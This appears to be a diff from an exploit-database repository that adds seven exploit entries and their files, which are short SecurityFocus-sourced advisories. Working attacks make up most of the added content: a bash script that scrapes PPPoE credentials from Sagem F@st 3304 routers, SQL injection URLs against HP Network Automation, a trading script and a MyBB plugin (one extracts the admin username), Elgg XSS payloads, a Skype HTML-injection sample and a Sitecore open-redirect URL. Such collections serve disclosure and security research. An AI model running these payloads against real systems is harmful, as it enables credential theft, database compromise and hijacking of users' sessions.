Update: 2015-02-07

7 new exploits

files.csv

@@ -32440,3 +32440,10 @@ id,file,description,date,author,platform,type,port
 35993,platforms/windows/local/35993.c,"AVG Internet Security 2015 Arbitrary Write Privilege Escalation",2015-02-04,"Parvez Anwar",windows,local,0
 35994,platforms/windows/local/35994.c,"BullGuard Multiple Products Arbitrary Write Privilege Escalation",2015-02-04,"Parvez Anwar",windows,local,0
 35995,platforms/hardware/remote/35995.sh,"Shuttle Tech ADSL Modem-Router 915 WM - Unauthenticated Remote DNS Change Exploit",2015-02-05,"Todor Donev",hardware,remote,0
+35997,platforms/hardware/remote/35997.sh,"Sagem F@st 3304 Routers PPPoE Credentials Information Disclosure Vulnerability",2011-07-27,securititracker,hardware,remote,0
+35998,platforms/php/webapps/35998.txt,"CobraScripts Trading Marketplace Script 'cid' Parameter SQL Injection Vulnerability",2011-07-25,Ehsan_Hp200,php,webapps,0
+36000,platforms/php/webapps/36000.txt,"HP Network Automation <= 9.10 SQL Injection Vulnerability",2011-07-28,anonymous,php,webapps,0
+36001,platforms/asp/webapps/36001.txt,"Sitecore CMS <= 6.4.1 'url' Parameter URI Redirection Vulnerability",2011-07-28,"Tom Neaves",asp,webapps,0
+36003,platforms/php/webapps/36003.txt,"Curverider Elgg <= 1.7.9 Multiple Cross Site Scripting Vulnerabilities",2011-08-01,"Aung Khant",php,webapps,0
+36004,platforms/multiple/remote/36004.txt,"Skype <= 5.3 'Mobile Phone' Field HTML Injection Vulnerability",2011-08-01,noptrix,multiple,remote,0
+36005,platforms/php/webapps/36005.txt,"MyBB MyTabs Plugin 'tab' Parameter SQL Injection Vulnerability",2011-08-02,"AutoRUN and dR.sqL",php,webapps,0

platforms/asp/webapps/36001.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/48930/info
+
+Sitecore CMS is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.
+
+Successful exploits may redirect a user to a potentially malicious site; this may aid in phishing attacks.
+
+Sitecore CMS versions 6.4.1 rev. 110324 and prior are vulnerable. 
+
+http://www.example.com/sitecore/shell/default.aspx?xmlcontrol=Application&url=http://www.example.com&ch=WindowChrome&ic=Applications%2f32x32%2fabout.png&he=About+Sitecore&ma=0&mi=0&re=0 

platforms/hardware/remote/35997.sh

@@ -0,0 +1,35 @@
+source: http://www.securityfocus.com/bid/48908/info
+
+Sagem F@st 3304 router is prone to a remote information-disclosure vulnerability because it fails to restrict access to sensitive information.
+
+A remote attacker exploit this issue to obtain sensitive information, possibly aiding in further attacks. 
+
+#!/bin/bash
+#########################################
+# Exploit Title: Sagem 3304 Routers Get PPPOE Password
+# Date 27/07/2011
+# Author: securititracker@gmail.com
+# Software Link: null
+# Version: Sagem Routers F@st 3304
+# Tested on: Sagem F@ST 3304
+#
+#########################################
+
+
+Usage()
+{
+        echo "Usage : $0 IP_ADDRESS"
+}
+if [ "$1" != "" ]
+then
+        IP_ADDRESS="$1"
+else
+        Usage
+        exit 1
+fi
+
+USER_NAME=`wget http://$IP_ADDRESS/quickconfname_ADSL.html  -t 1 -q -O -  | grep "msg051" | tr " " "\n"  | grep value | tr -d \\ |tr -d "\"" | awk -F= '{print($2)}' `
+
+USER_PASSWORD=`wget http://$IP_ADDRESS/quickconfname_ADSL.html  -t 1 -q -O -  | grep "msg051" | tr " " "\n"  | grep value | tr -d \\ |tr -d "\"" | awk -F= '{print($2)}' `
+
+echo "Username = $USER_NAME  ; Passsword = $USER_PASSWORD"

platforms/multiple/remote/36004.txt

@@ -0,0 +1,13 @@
+source: http://www.securityfocus.com/bid/48951/info
+
+Skype is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
+
+Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
+
+Skype 5.3.0.120 and prior are vulnerable; other versions may also be affected. 
+
+The following sample input is available:
+
+"><iframe src='' onload=alert('mphone')>
+
+A video demonstrating the attack is available. Please see the references for more information. 

platforms/php/webapps/35998.txt

@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/48914/info
+
+Trading Marketplace script is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
+
+A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 
+
+http://www.example.com/selloffers.php?cid=[SQL] 

platforms/php/webapps/36000.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/48924/info
+
+HP Network Automation is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
+
+A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
+
+HP Network Automation 7.2x, 7.5x, 7.6x, 9.0, 9.10 are vulnerable. 
+
+http://www.example.com/view.php?id=1'+union+select+1,2,concat(user(),0x3a,version(),0x3a,database()),4,5,6,7,8,9,10,11' 

platforms/php/webapps/36003.txt

@@ -0,0 +1,15 @@
+source: http://www.securityfocus.com/bid/48946/info
+
+Curverider Elgg is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+Curverider Elgg versions 1.7.9 and prior are vulnerable.
+
+http://www.example.com/elgg/mod/file/search.php?subtype=file&page_owner=%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22%20onmouseover%3d%22alert%28/XSS/%29%22%20x=%22f
+http://www.example.com/elgg/mod/riverdashboard/?content=%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22%20onmouseover%3d%22alert%28/XSS/%29%22%20x=%22f&callback=true
+http://www.example.com/elgg/pg/embed/upload?internalname=%22%20onmouseover%3d%22alert%28%27XSS%27%29%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22
+http://www.example.com/elgg/pg/pages/edit/%22%20onmouseover%3d%22alert%28%27XSS%27%29%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22
+http://www.example.com/elgg/pg/pages/new/?container_guid=%22%20style%3d%22background-image%3aurl%28javascript:alert%28/XSS/%29%29%22%20x=%22
+http://www.example.com/elgg/pg/pages/new/?container_guid=%22%20style%3d%22background-image%3aurl%28javascript:alert%28/XSS/%29%29%22%20x=%22
+

platforms/php/webapps/36005.txt

@@ -0,0 +1,8 @@
+source: http://www.securityfocus.com/bid/48952/info
+
+The MyTabs plugin for MyBB is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
+
+A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 
+
+
+http://www.example.com/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -